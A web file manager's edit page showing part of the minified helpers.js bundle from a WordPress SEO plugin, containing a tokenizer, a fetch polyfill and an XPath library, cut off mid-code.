Файловый менеджер - Редактировать - /home/vspaqvrt/public_html/wp-content/plugins/wordpress-seo/js/dist/externals/helpers.js
Назад
(()=>{var t={4429:t=>{var e=function(t,e){var n;for(n=0;n<t.length;n++)if(t[n].regex.test(e))return t[n]},n=function(t,n){var r,o,i;for(r=0;r<n.length;r++)if(o=e(t,n.substring(0,r+1)))i=o;else if(i)return{max_index:r,rule:i};return i?{max_index:n.length,rule:i}:void 0};t.exports=function(t){var r="",o=[],i=1,a=1,s=function(e,n){t({type:n,src:e,line:i,col:a});var r=e.split("\n");i+=r.length-1,a=(r.length>1?1:a)+r[r.length-1].length};return{addRule:function(t,e){o.push({regex:t,type:e})},onText:function(t){for(var e=r+t,i=n(o,e);i&&i.max_index!==e.length;)s(e.substring(0,i.max_index),i.rule.type),e=e.substring(i.max_index),i=n(o,e);r=e},end:function(){if(0!==r.length){var t=e(o,r);if(!t){var n=new Error("unable to tokenize");throw n.tokenizer2={buffer:r,line:i,col:a},n}s(r,t.type)}}}}},7147:function(){!function(t){"use strict";if(!t.fetch){var e="URLSearchParams"in t,n="Symbol"in t&&"iterator"in Symbol,r="FileReader"in t&&"Blob"in t&&function(){try{return new Blob,!0}catch(t){return!1}}(),o="FormData"in t,i="ArrayBuffer"in t;if(i)var a=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],s=function(t){return t&&DataView.prototype.isPrototypeOf(t)},u=ArrayBuffer.isView||function(t){return t&&a.indexOf(Object.prototype.toString.call(t))>-1};d.prototype.append=function(t,e){t=f(t),e=h(e);var n=this.map[t];n||(n=[],this.map[t]=n),n.push(e)},d.prototype.delete=function(t){delete this.map[f(t)]},d.prototype.get=function(t){var e=this.map[f(t)];return e?e[0]:null},d.prototype.getAll=function(t){return this.map[f(t)]||[]},d.prototype.has=function(t){return this.map.hasOwnProperty(f(t))},d.prototype.set=function(t,e){this.map[f(t)]=[h(e)]},d.prototype.forEach=function(t,e){Object.getOwnPropertyNames(this.map).forEach((function(n){this.map[n].forEach((function(r){t.call(e,r,n,this)}),this)}),this)},d.prototype.keys=function(){var t=[];return this.forEach((function(e,n){t.push(n)})),p(t)},d.prototype.values=function(){var t=[];return this.forEach((function(e){t.push(e)})),p(t)},d.prototype.entries=function(){var t=[];return this.forEach((function(e,n){t.push([n,e])})),p(t)},n&&(d.prototype[Symbol.iterator]=d.prototype.entries);var c=["DELETE","GET","HEAD","OPTIONS","POST","PUT"];v.prototype.clone=function(){return new v(this,{body:this._bodyInit})},w.call(v.prototype),w.call(x.prototype),x.prototype.clone=function(){return new x(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new d(this.headers),url:this.url})},x.error=function(){var t=new x(null,{status:0,statusText:""});return t.type="error",t};var l=[301,302,303,307,308];x.redirect=function(t,e){if(-1===l.indexOf(e))throw new RangeError("Invalid status code");return new x(null,{status:e,headers:{location:t}})},t.Headers=d,t.Request=v,t.Response=x,t.fetch=function(t,e){return new Promise((function(n,o){var i=new v(t,e),a=new XMLHttpRequest;a.onload=function(){var t,e,r={status:a.status,statusText:a.statusText,headers:(t=a.getAllResponseHeaders()||"",e=new d,t.split("\r\n").forEach((function(t){var n=t.split(":"),r=n.shift().trim();if(r){var o=n.join(":").trim();e.append(r,o)}})),e)};r.url="responseURL"in a?a.responseURL:r.headers.get("X-Request-URL");var o="response"in a?a.response:a.responseText;n(new x(o,r))},a.onerror=function(){o(new TypeError("Network request failed"))},a.ontimeout=function(){o(new TypeError("Network request failed"))},a.open(i.method,i.url,!0),"include"===i.credentials&&(a.withCredentials=!0),"responseType"in a&&r&&(a.responseType="blob"),i.headers.forEach((function(t,e){a.setRequestHeader(e,t)})),a.send(void 0===i._bodyInit?null:i._bodyInit)}))},t.fetch.polyfill=!0}function f(t){if("string"!=typeof t&&(t=String(t)),/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(t))throw new TypeError("Invalid character in header field name");return t.toLowerCase()}function h(t){return"string"!=typeof t&&(t=String(t)),t}function p(t){var e={next:function(){var e=t.shift();return{done:void 0===e,value:e}}};return n&&(e[Symbol.iterator]=function(){return e}),e}function d(t){this.map={},t instanceof d?t.forEach((function(t,e){this.append(e,t)}),this):t&&Object.getOwnPropertyNames(t).forEach((function(e){this.append(e,t[e])}),this)}function y(t){if(t.bodyUsed)return Promise.reject(new TypeError("Already read"));t.bodyUsed=!0}function g(t){return new Promise((function(e,n){t.onload=function(){e(t.result)},t.onerror=function(){n(t.error)}}))}function m(t){var e=new FileReader,n=g(e);return e.readAsArrayBuffer(t),n}function b(t){if(t.slice)return t.slice(0);var e=new Uint8Array(t.byteLength);return e.set(new Uint8Array(t)),e.buffer}function w(){return this.bodyUsed=!1,this._initBody=function(t){if(this._bodyInit=t,t)if("string"==typeof t)this._bodyText=t;else if(r&&Blob.prototype.isPrototypeOf(t))this._bodyBlob=t;else if(o&&FormData.prototype.isPrototypeOf(t))this._bodyFormData=t;else if(e&&URLSearchParams.prototype.isPrototypeOf(t))this._bodyText=t.toString();else if(i&&r&&s(t))this._bodyArrayBuffer=b(t.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer]);else{if(!i||!ArrayBuffer.prototype.isPrototypeOf(t)&&!u(t))throw new Error("unsupported BodyInit type");this._bodyArrayBuffer=b(t)}else this._bodyText="";this.headers.get("content-type")||("string"==typeof t?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):e&&URLSearchParams.prototype.isPrototypeOf(t)&&this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))},r&&(this.blob=function(){var t=y(this);if(t)return t;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?y(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(m)}),this.text=function(){var t,e,n,r=y(this);if(r)return r;if(this._bodyBlob)return t=this._bodyBlob,n=g(e=new FileReader),e.readAsText(t),n;if(this._bodyArrayBuffer)return Promise.resolve(function(t){for(var e=new Uint8Array(t),n=new Array(e.length),r=0;r<e.length;r++)n[r]=String.fromCharCode(e[r]);return n.join("")}(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error("could not read FormData body as text");return Promise.resolve(this._bodyText)},o&&(this.formData=function(){return this.text().then(E)}),this.json=function(){return this.text().then(JSON.parse)},this}function v(t,e){var n,r,o=(e=e||{}).body;if("string"==typeof t)this.url=t;else{if(t.bodyUsed)throw new TypeError("Already read");this.url=t.url,this.credentials=t.credentials,e.headers||(this.headers=new d(t.headers)),this.method=t.method,this.mode=t.mode,o||null==t._bodyInit||(o=t._bodyInit,t.bodyUsed=!0)}if(this.credentials=e.credentials||this.credentials||"omit",!e.headers&&this.headers||(this.headers=new d(e.headers)),this.method=(r=(n=e.method||this.method||"GET").toUpperCase(),c.indexOf(r)>-1?r:n),this.mode=e.mode||this.mode||null,this.referrer=null,("GET"===this.method||"HEAD"===this.method)&&o)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(o)}function E(t){var e=new FormData;return t.trim().split("&").forEach((function(t){if(t){var n=t.split("="),r=n.shift().replace(/\+/g," "),o=n.join("=").replace(/\+/g," ");e.append(decodeURIComponent(r),decodeURIComponent(o))}})),e}function x(t,e){e||(e={}),this.type="default",this.status="status"in e?e.status:200,this.ok=this.status>=200&&this.status<300,this.statusText="statusText"in e?e.statusText:"OK",this.headers=new d(e.headers),this.url=e.url||"",this._initBody(t)}}("undefined"!=typeof self?self:this)},2932:(t,e,n)=>{(function(){"use strict";var e=this;function n(t){return"string"==typeof t}function r(t,e,n){return t.call.apply(t.bind,arguments)}function o(t,e,n){if(!t)throw Error();if(2<arguments.length){var r=Array.prototype.slice.call(arguments,2);return function(){var n=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(n,r),t.apply(e,n)}}return function(){return t.apply(e,arguments)}}function i(t,e,n){return(i=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?r:o).apply(null,arguments)}function a(t){var e=at;function n(){}n.prototype=e.prototype,t.G=e.prototype,t.prototype=new n,t.prototype.constructor=t,t.F=function(t,n,r){for(var o=Array(arguments.length-2),i=2;i<arguments.length;i++)o[i-2]=arguments[i];return e.prototype[n].apply(t,o)}}var s=String.prototype.trim?function(t){return t.trim()}:function(t){return t.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")};function u(t,e){return-1!=t.indexOf(e)}function c(t,e){return t<e?-1:t>e?1:0}var l,f=Array.prototype.indexOf?function(t,e,n){return Array.prototype.indexOf.call(t,e,n)}:function(t,e,r){if(r=null==r?0:0>r?Math.max(0,t.length+r):r,n(t))return n(e)&&1==e.length?t.indexOf(e,r):-1;for(;r<t.length;r++)if(r in t&&t[r]===e)return r;return-1},h=Array.prototype.forEach?function(t,e,n){Array.prototype.forEach.call(t,e,n)}:function(t,e,r){for(var o=t.length,i=n(t)?t.split(""):t,a=0;a<o;a++)a in i&&e.call(r,i[a],a,t)},p=Array.prototype.filter?function(t,e,n){return Array.prototype.filter.call(t,e,n)}:function(t,e,r){for(var o=t.length,i=[],a=0,s=n(t)?t.split(""):t,u=0;u<o;u++)if(u in s){var c=s[u];e.call(r,c,u,t)&&(i[a++]=c)}return i},d=Array.prototype.reduce?function(t,e,n,r){return r&&(e=i(e,r)),Array.prototype.reduce.call(t,e,n)}:function(t,e,n,r){var o=n;return h(t,(function(n,i){o=e.call(r,o,n,i,t)})),o},y=Array.prototype.some?function(t,e,n){return Array.prototype.some.call(t,e,n)}:function(t,e,r){for(var o=t.length,i=n(t)?t.split(""):t,a=0;a<o;a++)if(a in i&&e.call(r,i[a],a,t))return!0;return!1};t:{var g=e.navigator;if(g){var m=g.userAgent;if(m){l=m;break t}}l=""}var b,w,v=u(l,"Opera")||u(l,"OPR"),E=u(l,"Trident")||u(l,"MSIE"),x=u(l,"Edge"),T=u(l,"Gecko")&&!(u(l.toLowerCase(),"webkit")&&!u(l,"Edge"))&&!(u(l,"Trident")||u(l,"MSIE"))&&!u(l,"Edge"),N=u(l.toLowerCase(),"webkit")&&!u(l,"Edge");function _(){var t=e.document;return t?t.documentMode:void 0}t:{var R="",A=(w=l,T?/rv\:([^\);]+)(\)|;)/.exec(w):x?/Edge\/([\d\.]+)/.exec(w):E?/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(w):N?/WebKit\/(\S+)/.exec(w):v?/(?:Version)[ \/]?(\S+)/.exec(w):void 0);if(A&&(R=A?A[1]:""),E){var P=_();if(null!=P&&P>parseFloat(R)){b=String(P);break t}}b=R}var S={};function O(t){if(!S[t]){for(var e=0,n=s(String(b)).split("."),r=s(String(t)).split("."),o=Math.max(n.length,r.length),i=0;0==e&&i<o;i++){var a=n[i]||"",u=r[i]||"",l=/(\d*)(\D*)/g,f=/(\d*)(\D*)/g;do{var h=l.exec(a)||["","",""],p=f.exec(u)||["","",""];if(0==h[0].length&&0==p[0].length)break;e=c(0==h[1].length?0:parseInt(h[1],10),0==p[1].length?0:parseInt(p[1],10))||c(0==h[2].length,0==p[2].length)||c(h[2],p[2])}while(0==e)}S[t]=0<=e}}var j=e.document,D=j&&E?_()||("CSS1Compat"==j.compatMode?parseInt(b,10):5):void 0,I=E&&!(9<=Number(D)),B=E&&!(8<=Number(D));function k(t,e,n,r){this.a=t,this.nodeName=n,this.nodeValue=r,this.nodeType=2,this.parentNode=this.ownerElement=e}function C(t,e){var n=B&&"href"==e.nodeName?t.getAttribute(e.nodeName,2):e.nodeValue;return new k(e,t,e.nodeName,n)}function U(t){var e=null;if(1==(n=t.nodeType)&&(e=null==(e=null==(e=t.textContent)||null==e?t.innerText:e)||null==e?"":e),"string"!=typeof e)if(I&&"title"==t.nodeName.toLowerCase()&&1==n)e=t.text;else if(9==n||1==n){t=9==n?t.documentElement:t.firstChild;var n=0,r=[];for(e="";t;){do{1!=t.nodeType&&(e+=t.nodeValue),I&&"title"==t.nodeName.toLowerCase()&&(e+=t.text),r[n++]=t}while(t=t.firstChild);for(;n&&!(t=r[--n].nextSibling););}}else e=t.nodeValue;return""+e}function F(t,e,n){if(null===e)return!0;try{if(!t.getAttribute)return!1}catch(t){return!1}return B&&"class"==e&&(e="className"),null==n?!!t.getAttribute(e):t.getAttribute(e,2)==n}function L(t,e,r,o,i){return(I?M:Y).call(null,t,e,n(r)?r:null,n(o)?o:null,i||new Q)}function M(t,e,n,r,o){if(t instanceof Bt||8==t.b||n&&null===t.b){var i=e.all;if(!i)return o;if("*"!=(t=V(t))&&!(i=e.getElementsByTagName(t)))return o;if(n){for(var a=[],s=0;e=i[s++];)F(e,n,r)&&a.push(e);i=a}for(s=0;e=i[s++];)"*"==t&&"!"==e.tagName||tt(o,e);return o}return q(t,e,n,r,o),o}function Y(t,e,n,r,o){return e.getElementsByName&&r&&"name"==n&&!E?(e=e.getElementsByName(r),h(e,(function(e){t.a(e)&&tt(o,e)}))):e.getElementsByClassName&&r&&"class"==n?(e=e.getElementsByClassName(r),h(e,(function(e){e.className==r&&t.a(e)&&tt(o,e)}))):t instanceof _t?q(t,e,n,r,o):e.getElementsByTagName&&(e=e.getElementsByTagName(t.f()),h(e,(function(t){F(t,n,r)&&tt(o,t)}))),o}function H(t,e,n,r,o){var i;if((t instanceof Bt||8==t.b||n&&null===t.b)&&(i=e.childNodes)){var a=V(t);return"*"==a||(i=p(i,(function(t){return t.tagName&&t.tagName.toLowerCase()==a})),i)?(n&&(i=p(i,(function(t){return F(t,n,r)}))),h(i,(function(t){"*"==a&&("!"==t.tagName||"*"==a&&1!=t.nodeType)||tt(o,t)})),o):o}return $(t,e,n,r,o)}function $(t,e,n,r,o){for(e=e.firstChild;e;e=e.nextSibling)F(e,n,r)&&t.a(e)&&tt(o,e);return o}function q(t,e,n,r,o){for(e=e.firstChild;e;e=e.nextSibling)F(e,n,r)&&t.a(e)&&tt(o,e),q(t,e,n,r,o)}function V(t){if(t instanceof _t){if(8==t.b)return"!";if(null===t.b)return"*"}return t.f()}function G(t,e){if(!t||!e)return!1;if(t.contains&&1==e.nodeType)return t==e||t.contains(e);if(void 0!==t.compareDocumentPosition)return t==e||!!(16&t.compareDocumentPosition(e));for(;e&&t!=e;)e=e.parentNode;return e==t}function z(t,n){if(t==n)return 0;if(t.compareDocumentPosition)return 2&t.compareDocumentPosition(n)?1:-1;if(E&&!(9<=Number(D))){if(9==t.nodeType)return-1;if(9==n.nodeType)return 1}if("sourceIndex"in t||t.parentNode&&"sourceIndex"in t.parentNode){var r=1==t.nodeType,o=1==n.nodeType;if(r&&o)return t.sourceIndex-n.sourceIndex;var i=t.parentNode,a=n.parentNode;return i==a?W(t,n):!r&&G(i,n)?-1*X(t,n):!o&&G(a,t)?X(n,t):(r?t.sourceIndex:i.sourceIndex)-(o?n.sourceIndex:a.sourceIndex)}return(r=(o=9==t.nodeType?t:t.ownerDocument||t.document).createRange()).selectNode(t),r.collapse(!0),(o=o.createRange()).selectNode(n),o.collapse(!0),r.compareBoundaryPoints(e.Range.START_TO_END,o)}function X(t,e){var n=t.parentNode;if(n==e)return-1;for(var r=e;r.parentNode!=n;)r=r.parentNode;return W(r,t)}function W(t,e){for(var n=e;n=n.previousSibling;)if(n==t)return-1;return 1}function Q(){this.b=this.a=null,this.l=0}function J(t){this.node=t,this.a=this.b=null}function K(t,e){if(!t.a)return e;if(!e.a)return t;for(var n=t.a,r=e.a,o=null,i=null,a=0;n&&r;){i=n.node;var s=r.node;i==s||i instanceof k&&s instanceof k&&i.a==s.a?(i=n,n=n.a,r=r.a):0<z(n.node,r.node)?(i=r,r=r.a):(i=n,n=n.a),(i.b=o)?o.a=i:t.a=i,o=i,a++}for(i=n||r;i;)i.b=o,o=o.a=i,a++,i=i.a;return t.b=o,t.l=a,t}function Z(t,e){var n=new J(e);n.a=t.a,t.b?t.a.b=n:t.a=t.b=n,t.a=n,t.l++}function tt(t,e){var n=new J(e);n.b=t.b,t.a?t.b.a=n:t.a=t.b=n,t.b=n,t.l++}function et(t){return(t=t.a)?t.node:null}function nt(t){return(t=et(t))?U(t):""}function rt(t,e){return new ot(t,!!e)}function ot(t,e){this.f=t,this.b=(this.c=e)?t.b:t.a,this.a=null}function it(t){var e=t.b;if(null==e)return null;var n=t.a=e;return t.b=t.c?e.b:e.a,n.node}function at(t){this.i=t,this.b=this.g=!1,this.f=null}function st(t){return"\n "+t.toString().split("\n").join("\n ")}function ut(t,e){t.g=e}function ct(t,e){t.b=e}function lt(t,e){var n=t.a(e);return n instanceof Q?+nt(n):+n}function ft(t,e){var n=t.a(e);return n instanceof Q?nt(n):""+n}function ht(t,e){var n=t.a(e);return n instanceof Q?!!n.l:!!n}function pt(t,e,n){at.call(this,t.i),this.c=t,this.h=e,this.o=n,this.g=e.g||n.g,this.b=e.b||n.b,this.c==bt&&(n.b||n.g||4==n.i||0==n.i||!e.f?e.b||e.g||4==e.i||0==e.i||!n.f||(this.f={name:n.f.name,s:e}):this.f={name:e.f.name,s:n})}function dt(t,e,n,r,o){var i;if(e=e.a(r),n=n.a(r),e instanceof Q&&n instanceof Q){for(r=it(e=rt(e));r;r=it(e))for(i=it(o=rt(n));i;i=it(o))if(t(U(r),U(i)))return!0;return!1}if(e instanceof Q||n instanceof Q){e instanceof Q?(o=e,r=n):(o=n,r=e);for(var a=typeof r,s=it(i=rt(o));s;s=it(i)){switch(a){case"number":s=+U(s);break;case"boolean":s=!!U(s);break;case"string":s=U(s);break;default:throw Error("Illegal primitive type for comparison.")}if(o==e&&t(s,r)||o==n&&t(r,s))return!0}return!1}return o?"boolean"==typeof e||"boolean"==typeof n?t(!!e,!!n):"number"==typeof e||"number"==typeof n?t(+e,+n):t(e,n):t(+e,+n)}function yt(t,e,n,r){this.a=t,this.w=e,this.i=n,this.m=r}!T&&!E||E&&9<=Number(D)||T&&O("1.9.1"),E&&O("9"),a(pt),pt.prototype.a=function(t){return this.c.m(this.h,this.o,t)},pt.prototype.toString=function(){return"Binary Expression: "+this.c+st(this.h)+st(this.o)},yt.prototype.toString=function(){return this.a};var gt={};function mt(t,e,n,r){if(gt.hasOwnProperty(t))throw Error("Binary operator already created: "+t);return t=new yt(t,e,n,r),gt[t.toString()]=t}mt("div",6,1,(function(t,e,n){return lt(t,n)/lt(e,n)})),mt("mod",6,1,(function(t,e,n){return lt(t,n)%lt(e,n)})),mt("*",6,1,(function(t,e,n){return lt(t,n)*lt(e,n)})),mt("+",5,1,(function(t,e,n){return lt(t,n)+lt(e,n)})),mt("-",5,1,(function(t,e,n){return lt(t,n)-lt(e,n)})),mt("<",4,2,(function(t,e,n){return dt((function(t,e){return t<e}),t,e,n)})),mt(">",4,2,(function(t,e,n){return dt((function(t,e){return t>e}),t,e,n)})),mt("<=",4,2,(function(t,e,n){return dt((function(t,e){return t<=e}),t,e,n)})),mt(">=",4,2,(function(t,e,n){return dt((function(t,e){return t>=e}),t,e,n)}));var bt=mt("=",3,2,(function(t,e,n){return dt((function(t,e){return t==e}),t,e,n,!0)}));function wt(t,e,n){this.a=t,this.b=e||1,this.f=n||1}function vt(t,e){if(e.a.length&&4!=t.i)throw Error("Primary expression must evaluate to nodeset if filter has predicate(s).");at.call(this,t.i),this.c=t,this.h=e,this.g=t.g,this.b=t.b}function Et(t,e){if(e.length<t.A)throw Error("Function "+t.j+" expects at least"+t.A+" arguments, "+e.length+" given");if(null!==t.v&&e.length>t.v)throw Error("Function "+t.j+" expects at most "+t.v+" arguments, "+e.length+" given");t.B&&h(e,(function(e,n){if(4!=e.i)throw Error("Argument "+n+" to function "+t.j+" is not of type Nodeset: "+e)})),at.call(this,t.i),this.h=t,this.c=e,ut(this,t.g||y(e,(function(t){return t.g}))),ct(this,t.D&&!e.length||t.C&&!!e.length||y(e,(function(t){return t.b})))}function xt(t,e,n,r,o,i,a,s,u){this.j=t,this.i=e,this.g=n,this.D=r,this.C=o,this.m=i,this.A=a,this.v=void 0!==s?s:a,this.B=!!u}mt("!=",3,2,(function(t,e,n){return dt((function(t,e){return t!=e}),t,e,n,!0)})),mt("and",2,2,(function(t,e,n){return ht(t,n)&&ht(e,n)})),mt("or",1,2,(function(t,e,n){return ht(t,n)||ht(e,n)})),a(vt),vt.prototype.a=function(t){return t=this.c.a(t),Yt(this.h,t)},vt.prototype.toString=function(){return"Filter:"+st(this.c)+st(this.h)},a(Et),Et.prototype.a=function(t){return this.h.m.apply(null,function(t){return Array.prototype.concat.apply(Array.prototype,arguments)}(t,this.c))},Et.prototype.toString=function(){var t="Function: "+this.h;if(this.c.length){var e=d(this.c,(function(t,e){return t+st(e)}),"Arguments:");t+=st(e)}return t},xt.prototype.toString=function(){return this.j};var Tt={};function Nt(t,e,n,r,o,i,a,s){if(Tt.hasOwnProperty(t))throw Error("Function already created: "+t+".");Tt[t]=new xt(t,e,n,r,!1,o,i,a,s)}function _t(t,e){switch(this.h=t,this.c=void 0!==e?e:null,this.b=null,t){case"comment":this.b=8;break;case"text":this.b=3;break;case"processing-instruction":this.b=7;break;case"node":break;default:throw Error("Unexpected argument")}}function Rt(t){return"comment"==t||"text"==t||"processing-instruction"==t||"node"==t}function At(t){this.b=t,this.a=0}Nt("boolean",2,!1,!1,(function(t,e){return ht(e,t)}),1),Nt("ceiling",1,!1,!1,(function(t,e){return Math.ceil(lt(e,t))}),1),Nt("concat",3,!1,!1,(function(t,e){return d(function(t,e,n){return 2>=arguments.length?Array.prototype.slice.call(t,e):Array.prototype.slice.call(t,e,n)}(arguments,1),(function(e,n){return e+ft(n,t)}),"")}),2,null),Nt("contains",2,!1,!1,(function(t,e,n){return u(ft(e,t),ft(n,t))}),2),Nt("count",1,!1,!1,(function(t,e){return e.a(t).l}),1,1,!0),Nt("false",2,!1,!1,(function(){return!1}),0),Nt("floor",1,!1,!1,(function(t,e){return Math.floor(lt(e,t))}),1),Nt("id",4,!1,!1,(function(t,e){var r=9==(o=t.a).nodeType?o:o.ownerDocument,o=ft(e,t).split(/\s+/),i=[];h(o,(function(t){!(t=function(t){if(I){var e=r.all[t];if(e){if(e.nodeType&&t==e.id)return e;if(e.length)return function(t,e){var r;t:{r=t.length;for(var o=n(t)?t.split(""):t,i=0;i<r;i++)if(i in o&&e.call(void 0,o[i],i,t)){r=i;break t}r=-1}return 0>r?null:n(t)?t.charAt(r):t[r]}(e,(function(e){return t==e.id}))}return null}return r.getElementById(t)}(t))||0<=f(i,t)||i.push(t)})),i.sort(z);var a=new Q;return h(i,(function(t){tt(a,t)})),a}),1),Nt("lang",2,!1,!1,(function(){return!1}),1),Nt("last",1,!0,!1,(function(t){if(1!=arguments.length)throw Error("Function last expects ()");return t.f}),0),Nt("local-name",3,!1,!0,(function(t,e){var n=e?et(e.a(t)):t.a;return n?n.localName||n.nodeName.toLowerCase():""}),0,1,!0),Nt("name",3,!1,!0,(function(t,e){var n=e?et(e.a(t)):t.a;return n?n.nodeName.toLowerCase():""}),0,1,!0),Nt("namespace-uri",3,!0,!1,(function(){return""}),0,1,!0),Nt("normalize-space",3,!1,!0,(function(t,e){return(e?ft(e,t):U(t.a)).replace(/[\s\xa0]+/g," ").replace(/^\s+|\s+$/g,"")}),0,1),Nt("not",2,!1,!1,(function(t,e){return!ht(e,t)}),1),Nt("number",1,!1,!0,(function(t,e){return e?lt(e,t):+U(t.a)}),0,1),Nt("position",1,!0,!1,(function(t){return t.b}),0),Nt("round",1,!1,!1,(function(t,e){return Math.round(lt(e,t))}),1),Nt("starts-with",2,!1,!1,(function(t,e,n){return e=ft(e,t),t=ft(n,t),0==e.lastIndexOf(t,0)}),2),Nt("string",3,!1,!0,(function(t,e){return e?ft(e,t):U(t.a)}),0,1),Nt("string-length",1,!1,!0,(function(t,e){return(e?ft(e,t):U(t.a)).length}),0,1),Nt("substring",3,!1,!1,(function(t,e,n,r){if(n=lt(n,t),isNaN(n)||1/0==n||-1/0==n)return"";if(r=r?lt(r,t):1/0,isNaN(r)||-1/0===r)return"";n=Math.round(n)-1;var o=Math.max(n,0);return t=ft(e,t),1/0==r?t.substring(o):t.substring(o,n+Math.round(r))}),2,3),Nt("substring-after",3,!1,!1,(function(t,e,n){return e=ft(e,t),t=ft(n,t),-1==(n=e.indexOf(t))?"":e.substring(n+t.length)}),2),Nt("substring-before",3,!1,!1,(function(t,e,n){return e=ft(e,t),t=ft(n,t),-1==(t=e.indexOf(t))?"":e.substring(0,t)}),2),Nt("sum",1,!1,!1,(function(t,e){for(var n=rt(e.a(t)),r=0,o=it(n);o;o=it(n))r+=+U(o);return r}),1,1,!0),Nt("translate",3,!1,!1,(function(t,e,n,r){e=ft(e,t),n=ft(n,t);var o=ft(r,t);for(t={},r=0;r<n.length;r++){var i=n.charAt(r);i in t||(t[i]=o.charAt(r))}for(n="",r=0;r<e.length;r++)n+=(i=e.charAt(r))in t?t[i]:i;return n}),3),Nt("true",2,!1,!1,(function(){return!0}),0),_t.prototype.a=function(t){return null===this.b||this.b==t.nodeType},_t.prototype.f=function(){return this.h},_t.prototype.toString=function(){var t="Kind Test: "+this.h;return null===this.c||(t+=st(this.c)),t};var Pt=/\$?(?:(?![0-9-\.])(?:\*|[\w-\.]+):)?(?![0-9-\.])(?:\*|[\w-\.]+)|\/\/|\.\.|::|\d+(?:\.\d*)?|\.\d+|"[^"]*"|'[^']*'|[!<>]=|\s+|./g,St=/^\s/;function Ot(t,e){return t.b[t.a+(e||0)]}function jt(t){return t.b[t.a++]}function Dt(t){return t.b.length<=t.a}function It(t){at.call(this,3),this.c=t.substring(1,t.length-1)}function Bt(t,e){var n;this.j=t.toLowerCase(),n="*"==this.j?"*":"http://www.w3.org/1999/xhtml",this.c=e?e.toLowerCase():n}function kt(t,e){if(at.call(this,t.i),this.h=t,this.c=e,this.g=t.g,this.b=t.b,1==this.c.length){var n=this.c[0];n.u||n.c!=Gt||"*"!=(n=n.o).f()&&(this.f={name:n.f(),s:null})}}function Ct(){at.call(this,4)}function Ut(){at.call(this,4)}function Ft(t){return"/"==t||"//"==t}function Lt(t){at.call(this,4),this.c=t,ut(this,y(this.c,(function(t){return t.g}))),ct(this,y(this.c,(function(t){return t.b})))}function Mt(t,e){this.a=t,this.b=!!e}function Yt(t,e,n){for(n=n||0;n<t.a.length;n++)for(var r,o=t.a[n],i=rt(e),a=e.l,s=0;r=it(i);s++){var u=t.b?a-s:s+1;if("number"==typeof(r=o.a(new wt(r,u,a))))u=u==r;else if("string"==typeof r||"boolean"==typeof r)u=!!r;else{if(!(r instanceof Q))throw Error("Predicate.evaluate returned an unexpected type.");u=0<r.l}if(!u){if(r=(u=i).f,!(l=u.a))throw Error("Next must be called at least once before remove.");var c=l.b,l=l.a;c?c.a=l:r.a=l,l?l.b=c:r.b=c,r.l--,u.a=null}}return e}function Ht(t,e,n,r){at.call(this,4),this.c=t,this.o=e,this.h=n||new Mt([]),this.u=!!r,e=0<(e=this.h).a.length?e.a[0].f:null,t.b&&e&&(t=e.name,t=I?t.toLowerCase():t,this.f={name:t,s:e.s});t:{for(t=this.h,e=0;e<t.a.length;e++)if((n=t.a[e]).g||1==n.i||0==n.i){t=!0;break t}t=!1}this.g=t}function $t(t,e,n,r){this.j=t,this.f=e,this.a=n,this.b=r}a(It),It.prototype.a=function(){return this.c},It.prototype.toString=function(){return"Literal: "+this.c},Bt.prototype.a=function(t){var e=t.nodeType;return!(1!=e&&2!=e||(e=void 0!==t.localName?t.localName:t.nodeName,"*"!=this.j&&this.j!=e.toLowerCase()||"*"!=this.c&&this.c!=(t.namespaceURI?t.namespaceURI.toLowerCase():"http://www.w3.org/1999/xhtml")))},Bt.prototype.f=function(){return this.j},Bt.prototype.toString=function(){return"Name Test: "+("http://www.w3.org/1999/xhtml"==this.c?"":this.c+":")+this.j},a(kt),a(Ct),Ct.prototype.a=function(t){var e=new Q;return 9==(t=t.a).nodeType?tt(e,t):tt(e,t.ownerDocument),e},Ct.prototype.toString=function(){return"Root Helper Expression"},a(Ut),Ut.prototype.a=function(t){var e=new Q;return tt(e,t.a),e},Ut.prototype.toString=function(){return"Context Helper Expression"},kt.prototype.a=function(t){var e=this.h.a(t);if(!(e instanceof Q))throw Error("Filter expression must evaluate to nodeset.");for(var n=0,r=(t=this.c).length;n<r&&e.l;n++){var o,i=t[n],a=rt(e,i.c.a);if(i.g||i.c!=Wt)if(i.g||i.c!=Jt)for(o=it(a),e=i.a(new wt(o));null!=(o=it(a));)e=K(e,o=i.a(new wt(o)));else o=it(a),e=i.a(new wt(o));else{for(o=it(a);(e=it(a))&&(!o.contains||o.contains(e))&&8&e.compareDocumentPosition(o);o=e);e=i.a(new wt(o))}}return e},kt.prototype.toString=function(){var t;if(t="Path Expression:"+st(this.h),this.c.length){var e=d(this.c,(function(t,e){return t+st(e)}),"Steps:");t+=st(e)}return t},a(Lt),Lt.prototype.a=function(t){var e=new Q;return h(this.c,(function(n){if(!((n=n.a(t))instanceof Q))throw Error("Path expression must evaluate to NodeSet.");e=K(e,n)})),e},Lt.prototype.toString=function(){return d(this.c,(function(t,e){return t+st(e)}),"Union Expression:")},Mt.prototype.toString=function(){return d(this.a,(function(t,e){return t+st(e)}),"Predicates:")},a(Ht),Ht.prototype.a=function(t){var e=t.a,n=null,r=null,o=null,i=0;if((n=this.f)&&(r=n.name,o=n.s?ft(n.s,t):null,i=1),this.u)if(this.g||this.c!=zt)if(e=it(t=rt(new Ht(Xt,new 